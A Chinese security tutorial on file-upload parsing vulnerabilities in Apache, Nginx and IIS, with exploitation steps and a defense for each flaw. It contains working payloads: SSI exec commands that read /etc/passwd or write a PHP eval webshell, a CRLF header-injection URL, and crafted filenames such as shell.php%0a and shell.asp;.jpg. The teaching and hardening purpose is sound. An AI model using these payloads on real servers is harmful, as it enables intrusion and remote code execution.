中间件解析漏洞
一、中间件概述
1.1 什么是中间件?
中间件是不同服务之间的产品,在安全领域泛指服务器软件、消息队列、非关系型数据库等。
| 分类 | 典型产品 |
|---|---|
| 服务器软件 | Apache、Nginx、IIS、WebLogic、JBoss、Tomcat |
| 消息队列 | ActiveMQ、RabbitMQ、RocketMQ |
| 非关系型数据库 | Redis、MongoDB、Memcached |
1.2 PHP 程序的特殊性
PHP 具有边运行、边解释的特性,可由 Apache / Nginx / IIS 等多种中间件解析。
二、Apache 解析漏洞
2.1 Apache HTTPD 多后缀解析漏洞
漏洞原理
-
Apache 支持一个文件有多个后缀,如
shell.php.doc -
Apache 从后往前依次识别后缀:
-
遇到不认识的后缀 → 继续往前
-
遇到认识的后缀 → 按该后缀解析
-
若全部不认识 → 当成默认类型(text/plain)
Apache 可识别的后缀存储在 /etc/mime.types
关键配置:
AddHandler application/x-httpd-php .php只要文件名中存在 .php,就会被当作 PHP 解析。
利用方式
1. 上传 shell.php.png(白名单允许 .png)2. Apache 识别到 .php → 作为 PHP 解析前提条件
1. Apache 以模块形式运行(非 CGI/FastCGI)2. 配置中存在 AddHandler application/x-httpd-php .php3. 未修改文件名漏洞防御
1. 修改文件名(随机重命名)2. 取消 AddHandler 配置中的多后缀支持3. 使用白名单限制上传类型2.2 Apache HTTPD 换行解析漏洞(CVE-2017-15715)
漏洞信息
| 属性 | 值 |
|---|---|
| 漏洞编号 | CVE-2017-15715 |
| 影响版本 | Apache 2.4.0 ~ 2.4.29 |
| 利用方式 | 在文件名后添加 \x0A(换行符) |
漏洞原理
shell.php\x0A → Apache 解析为 PHP 文件shell.php%0a绕过黑名单校验- 服务器保存文件名为
shell.php(换行符被忽略) - 访问
/shell.php%0a即可执行
利用步骤
1. 上传 shell.php(黑名单拦截)2. 改名为 shell.php%0a(抓包修改,在 .php 后插入 0A)3. 上传成功4. 访问 /shell.php%0a → PHP 代码执行⚠️ 注意是 \x0A 而不是 \x0D\x0A
漏洞防御
- 升级 Apache 到最新版本
- 使用白名单而非黑名单
2.3 Apache SSI 远程命令执行漏洞
漏洞原理
SSI(Server Side Includes,服务器端包含)允许在 HTML 文件中通过注释行调用命令或指针。
SSI 命令格式:
<!--#exec cmd="命令" -->适用文件类型: .shtml、.shtm、.stm
利用方式
1. 读取文件:
<!--#exec cmd="cat /etc/passwd" -->2. 写入 Webshell:
<!--#exec cmd="echo '<?php eval($_REQUEST[6]);?>' > /var/www/html/shell.php" -->漏洞条件
- 服务器开启了 SSI 与 CGI 支持
- 可上传
.shtml文件
漏洞防御
1. 关闭 SSI 功能2. 过滤 SSI 特殊字符(<, >, #, -, ")三、Nginx 解析漏洞
3.1 Nginx 解析漏洞(全版本)
漏洞原理
Nginx 拿到 URI /test.jpg/shell.php,识别 .php 后缀后转交给 PHP 处理;PHP 发现 /test.jpg/shell.php 不存在,删去最后的 /shell.php,将 /test.jpg 当作要执行的文件。
关键配置:
cgi.fix_pathinfo = 1
# php-fpm.confsecurity.limit_extensions = .php .jpg| 配置项 | 说明 |
|---|---|
cgi.fix_pathinfo=1 | 路径不存在时,依次删除最后一段尝试 |
security.limit_extensions | 允许 PHP 执行的后缀(含 .jpg 等非 PHP 后缀) |
利用方式
1. 上传图片马 shell.jpg2. 访问 /shell.jpg/shell.php3. PHP 处理时退回 shell.jpg → 执行其中的 PHP 代码漏洞防御
cgi.fix_pathinfo = 0
# php-fpm.confsecurity.limit_extensions = .php3.2 Nginx 文件名逻辑漏洞(CVE-2013-4547)
漏洞信息
| 属性 | 值 |
|---|---|
| 漏洞编号 | CVE-2013-4547 |
| 影响版本 | Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 |
漏洞原理
-
Nginx 解析 URI 时,遇到空格
[0x20]会特殊处理,跳过后续的 NULL 截断检测 -
访问
shell.gif[0x20][0x00].php时: -
文件名以
.php结尾 → 交给 FastCGI -
FastCGI 遇到
[0x00]→ 截断 → 读取shell.gif[0x20] -
文件被当作 PHP 执行
利用步骤
1. 上传 shell.gif(文件名后加空格 [0x20])2. 访问 /uploadfiles/shell.gif[0x20][0x00].php3. 抓包,将两个字符分别改为 20 和 004. 发送请求 → 图片马被解析为 PHP⚠️ [0x20] 是空格,[0x00] 是 NULL,均不需要 URL 编码。
漏洞原因
Nginx 检测到空格 → 跳转到 sw_check_uri 继续处理→ 零截断符被跳过 → 逻辑漏洞漏洞防御
- 升级 Nginx 版本
- 修改配置,避免
security.limit_extensions为空
3.3 Nginx 配置错误漏洞
漏洞1:CRLF 注入
原理: Nginx 会对 $uri 进行解码,%0a%0d 被解析为换行符,注入 HTTP 响应头。
利用:
http://target.com/%0d%0aSet-Cookie:evil=1响应头中插入 Set-Cookie,可能导致会话固定或 XSS。
错误配置示例:
location / { return 302 https://$host$uri;}漏洞2:目录穿越
原理: 配置 alias 时忘记加 /,导致目录穿越。
错误配置:
location /files { alias /home/;}利用:
http://target.com/files../ → 访问根目录正确配置:
location /files/ { alias /home/;}漏洞3:add_header 被覆盖
原理: 子块中的 add_header 会覆盖父块中的设置。
add_header X-Frame-Options "SAMEORIGIN";
location /test2/ { add_header X-Content-Type-Options "nosniff"; # 覆盖父块}→ /test2/ 下失去 X-Frame-Options 保护
漏洞防御
- 仔细检查 Nginx 配置文件
- 避免
$uri直接用于跳转 - alias 配置末尾加
/ - 子块中不覆盖全局安全头
四、IIS 解析漏洞
4.1 IIS 7.5 解析漏洞
漏洞信息
| 属性 | 值 |
|---|---|
| 版本 | IIS 7.0 / 7.5 |
| 运行模式 | Fast-CGI |
| 原理 | /shell.jpg/1.php 被解析为 PHP |
前提条件
1. php.ini 中 cgi.fix_pathinfo = 12. Handler Mapping 中未勾选特定选项(取消对路径的检查)利用方式
1. 上传图片马 shell.jpg2. 访问 /shell.jpg/1.php3. 文件被当作 PHP 解析漏洞防御
1. php.ini: cgi.fix_pathinfo = 02. Handler Mapping 中勾选相应限制3. 升级到 IIS 7.5+4.2 IIS 6.0 解析漏洞
漏洞1:目录解析漏洞
原理: 文件夹名以 .asp 结尾,其内部所有文件都被解析为 ASP。
/a.asp/ ├── 1.txt → 被解析为 ASP 执行 └── image.jpg → 被解析为 ASP 执行漏洞2:文件名解析漏洞
原理: 分号 ; 后的内容被忽略。
shell.asp;.jpg → 视为 .asp 文件执行利用方式:
上传 shell.asp;.jpg → IIS 解析为 ASP 执行漏洞防御
- 升级到 IIS 7.0+
- 限制上传文件类型
- 使用白名单机制
📌 快速参考卡片
Apache 漏洞
| 漏洞 | 利用方式 |
|---|---|
| 多后缀解析 | shell.php.png 作为 PHP 执行 |
| 换行解析 (CVE-2017-15715) | shell.php%0a 绕过黑名单 |
| SSI RCE | 上传 .shtml,<!--#exec cmd="id"--> |
Nginx 漏洞
| 漏洞 | 利用方式 |
|---|---|
| 解析漏洞 | shell.jpg/shell.php → 执行 shell.jpg 中的 PHP |
| CVE-2013-4547 | shell.gif[空格][NULL].php 绕过 |
| 配置错误 | CRLF 注入、目录穿越、add_header 覆盖 |
IIS 漏洞
| 漏洞 | 利用方式 |
|---|---|
| IIS 7.5 | shell.jpg/1.php → 执行 shell.jpg 中的 PHP |
| IIS 6.0 目录解析 | /a.asp/1.txt → 执行 1.txt 为 ASP |
| IIS 6.0 文件名解析 | shell.asp;.jpg → 执行 shell.asp |
防御通用原则
1. 升级中间件版本2. 避免用户控制文件名3. 使用白名单校验扩展名4. 配置文件上传目录执行权限5. 禁用不必要的功能(SSI、CGI 等)文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!















